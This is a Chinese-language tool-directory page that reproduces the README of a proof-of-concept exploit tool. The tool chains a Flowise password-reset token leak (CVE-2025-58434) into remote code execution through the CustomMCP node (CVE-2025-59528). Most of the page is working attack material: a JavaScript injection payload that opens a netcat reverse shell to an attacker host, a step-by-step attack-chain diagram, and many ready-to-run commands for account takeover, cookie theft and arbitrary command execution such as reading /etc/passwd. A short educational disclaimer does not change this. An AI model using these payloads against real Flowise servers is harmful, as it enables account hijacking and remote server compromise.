Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育远程访问工具Payload 开发
GitHubkartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

模块化PoC,针对Flowise中的CVE-2025-58434(账户接管)和CVE-2025-59528(远程代码执行)。自动化完整的攻击链,从未经身份验证的令牌泄露到通过反向shell或自定义命令实现远程代码执行。

查看仓库
1995个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Flowise 双重 CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 仅用于教育和授权的安全研究。
针对你不拥有或未经书面许可测试的系统运行此工具是非法的。


目录

  • 概述
  • 漏洞详情
    • CVE-2025-58434 — 账户接管
    • CVE-2025-59528 — 远程代码执行
  • 完整攻击链
  • 受影响版本
  • 仓库结构
  • 环境要求
  • 安装
  • 使用说明
    • 默认行为
    • 帮助界面
    • 链式模式
    • 模块 — ATO
    • 模块 — 登录
    • 模块 — RCE
  • 参数参考
  • 反弹Shell vs 自定义命令
  • 示例输出
  • 修复建议
  • 披露时间线
  • 参考资料
  • 免责声明

概述

本仓库将 Flowise 的两个严重漏洞合并为一个模块化 PoC 工具。

CVE-2025-58434CVE-2025-59528
类型账户接管远程代码执行
需要认证否是(任意有效账户)
CVSS9.8 严重严重
影响范围云 + 自托管自托管

这两个漏洞自然串联:CVE-2025-58434 提供无需认证的账户接管,满足了 CVE-2025-59528 的认证要求——从而在单次自动化运行中实现无认证的远程代码执行。


漏洞详情

CVE-2025-58434 — 账户接管

根本原因: forgot-password 端点直接在 HTTP 响应体中返回密码重置令牌(tempToken),而不是仅通过邮件发送。

攻击步骤:

  1. POST /api/v1/account/forgot-password,使用任意已注册邮箱
  2. 从 JSON 响应中读取 tempToken — 无需访问邮箱
  3. POST /api/v1/account/reset-password,使用泄露的令牌 → 设置新密码
  4. 以受害者身份登录

泄露的响应(截取):

{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — 远程代码执行

根本原因: CustomMCP 节点直接将用户提供的 mcpServerConfig 传递给 JavaScript 的 Function() 构造函数,未经任何清理。由于 Flowise 运行在 Node.js 环境中,注入的代码可以完全访问 child_process、fs 以及所有 Node.js 内建模块。

易受攻击的代码路径:

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← 未经清理的用户输入

必需的请求头:

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

默认注入载荷(反弹 Shell):

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

注意: 反弹 Shell 载荷使用 cp.exec()(异步 / 即发即忘),因此 HTTP 请求会立即返回,工具不会超时。常规命令使用 cp.execSync(),并直接返回输出。


完整攻击链

攻击者                                Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← 令牌在响应中泄露
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO 完成
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← 提取 cookie
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() 在后台触发]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   攻击者的 nc 监听器 ←─────────────────── 服务器回连
   ✓  零凭证实现完全 RCE

受影响版本

组件状态
Flowise Cloud (cloud.flowiseai.com)受 CVE-2025-58434 影响
Flowise 自托管(补丁前的所有版本)受两个 CVE 影响

请查看 官方 Flowise 安全公告 了解已修补的版本号。


仓库结构

flowise-dual-cve-poc/
├── flowise_poc.py      # 主 PoC — 所有模块 + 链式模式
├── requirements.txt    # Python 依赖
├── README.md           # 本文件
└── DISCLAIMER.md       # 完整法律声明

环境要求

  • Python 3.7+
  • requests 库

安装

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

使用说明

默认行为

不需要指定模式标志。 如果不使用 --chain 或 --module 运行脚本,它将自动以完整链式模式运行。默认的 RCE 载荷是反弹 Shell——只需提供 --lhost 和 --lport。

# 最小调用 — 完整链 + 反弹 Shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

运行前启动你的监听器:

nc -lvnp 4444

帮助界面

python3 flowise_poc.py -h

链式模式

从头到尾运行所有四个步骤:泄露令牌 → 重置密码 → 登录 → RCE。

# 反弹 Shell(默认载荷)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# 自定义命令替代反弹 Shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# 自定义 ATO 密码 + 反弹 Shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

模块 — ATO

泄露 tempToken 并重置账户密码。在登录/RCE 前停止。

# 默认新密码
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# 自定义新密码
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# 打印原始 JSON 响应
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

模块 — 登录

进行身份验证并提取三个会话 cookie 供手动使用。

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# JSON 输出,适合脚本化
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

模块 — RCE

在服务器上执行。如果未提供 --token,则自动登录。

# 反弹 Shell — 自动登录
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# 自定义命令 — 自动登录
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# 手动提供令牌 — 反弹 Shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# 手动提供所有三个 cookie
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

参数参考

模式(均为可选 — 默认是 --chain)

标志描述
--chain完整链:ATO → 登录 → RCE
--module ato仅账户接管
--module login仅登录并提取 cookie
--module rce仅 RCE

目标

标志简写描述必需
--url-uFlowise 实例的基 URL始终
--email-e目标/登录邮箱始终

ATO 选项

标志简写描述默认值
--new-password-pATO 后为受害者账户设置的密码Flowise@Pwn3d2025!

认证选项

标志简写描述
--login-password-P登录模块/RCE 自动登录的密码
--token—手动提供 token cookie(跳过登录)
--refresh-token—手动提供 refreshToken cookie
--connect-sid—手动提供 connect.sid cookie

RCE 选项

下载工具